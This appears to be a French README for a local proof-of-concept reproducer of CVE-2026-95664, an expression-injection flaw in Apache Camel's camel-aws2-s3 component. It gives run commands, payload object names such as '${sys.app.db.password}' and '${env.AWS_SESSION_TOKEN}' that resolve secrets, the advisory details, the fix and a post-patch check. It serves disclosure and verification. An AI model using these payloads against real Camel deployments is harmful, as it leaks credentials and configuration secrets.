
Reproducteur exécutable Spring Boot et Quarkus pour CVE-2026-95664, démontrant l'injection d'expression Simple via l'en-tête CamelAwsS3Key dans camel-aws2-s3 et vérifiant le correctif.
Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où le producteur camel-aws2-s3
prenait la clé d'objet depuis l'en-tête de message CamelAwsS3Key et — depuis la version 4.8.0 —
AWS2S3Utils.determineKey() transmettait cette valeur au langage Simple dès qu'elle contenait ${ ou
$simple{, afin qu'une route puisse utiliser une clé dynamique. L'évaluation s'appliquait à une valeur issue de
l'en-tête tout autant qu'à l'option keyName configurée par la route.
| Runtime | Répertoire | Pile technique |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
L'en-tête ne relève pas de la configuration de la route. Le consumer aws2-s3 définit CamelAwsS3Key sur chaque exchange qu'il
crée à la clé de l'objet qu'il a lu — c'est-à-dire le nom de l'objet dans le bucket. Dans une route
qui ne fait rien de plus que consommer depuis un endpoint aws2-s3 et produire vers un autre, le nom de chaque
objet consommé atteignait donc le producteur et était évalué.
Quiconque pouvait choisir le nom d'un objet dans un bucket consommé par une telle route — typiquement tout principal
autorisé à y téléverser — pouvait faire évaluer des expressions Simple de son choix au sein du processus
Camel. Simple peut lire les propriétés système de la JVM, les variables d'environnement et les propriétés de configuration, qui
portent couramment des identifiants et, avec camel-bean sur le classpath, invoquer des méthodes sur des beans du registre.
Configurer keyName sur le producteur ne constituait pas une protection, car l'en-tête a la priorité sur cette option.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Sortie sur une build affectée (identique sur les deux runtimes) :
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
La sonde 5 est la solution de contournement proposée par l'avis pour les déploiements qui ne peuvent pas encore être mis à jour, illustrée en fonctionnement.
Aucun compte AWS et aucun réseau. Le reproducteur enregistre un substitut enregistreur pour S3
(amazonS3Client=#s3Client) qui capture la clé que le producteur a réellement demandé d'écrire — la seule chose
qui nécessite d'être observée. Le véritable AWS2S3Producer et le véritable AWS2S3Utils.determineKey() s'exécutent ; seul l'appel
au SDK tout à la fin est capturé.
Le pilote définit CamelAwsS3Key sur le nom de l'objet consommé, ce qui est exactement ce que fait le consommateur aws2-s3,
ainsi le côté consommateur n'a pas besoin de son propre bucket.
Le substitut répond également à
headBucket, carAWS2S3Endpoint.doStart()vérifie que le bucket existe avant le démarrage de la route. Cette vérification n'a aucun rapport avec la faille.
| Propriété | Valeur |
|---|---|
| Composant | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Injection d'expression de langage) |
| Gravité | Moyenne |
| Vecteur d'attaque | Le nom d'un objet dans un bucket qu'une route aws2-s3 consomme, contenant ${ ou $simple{, transmis au producteur dans CamelAwsS3Key |
| Impact | Évaluer des expressions Simple dans le processus Camel : lire les propriétés système, les variables d'environnement et les propriétés de configuration ; invoquer des méthodes sur des beans du registre lorsque camel-bean est présent |
| Versions affectées | À partir de 4.8.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.2 (les versions antérieures à 4.8.0 utilisaient la valeur de l'en-tête telle quelle et ne sont pas affectées) |
| Versions corrigées | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Crédit | Andrea Cosentino de l'Apache Software Foundation |
Avis : https://camel.apache.org/security/CVE-2026-95664.html
Le nom du bucket passait par la même évaluation, mais le consommateur ne place jamais dans un en-tête de bucket que le bucket configuré sur son propre endpoint, jamais une valeur dérivée d'un objet distant, ainsi le nom du bucket n'était pas atteignable de cette manière.
Seule la clé configurée par la route peut être une expression Simple dynamique. Une clé fournie via l'en-tête est désormais utilisée littéralement et jamais évaluée :
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Corrigé sur main dans apache/camel#26746 (1fd7a667), avec
des rétroportages vers camel-4.22.x et camel-4.18.x.
Après la mise à niveau, un nom de clé ou de bucket fourni via un en-tête de message est utilisé littéralement — ainsi, une route
qui plaçait délibérément une expression Simple non évaluée dans CamelAwsS3Key ou CamelAwsS3OverrideBucketName
doit désormais l'évaluer dans la route elle-même (setHeader(..., simple(...))) ou la configurer comme option
keyName / bucketName de l'endpoint.
Définissez camel.version sur 4.22.2 et exécutez-la à nouveau. Vérifié de 4.22.1 → 4.22.2 :
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.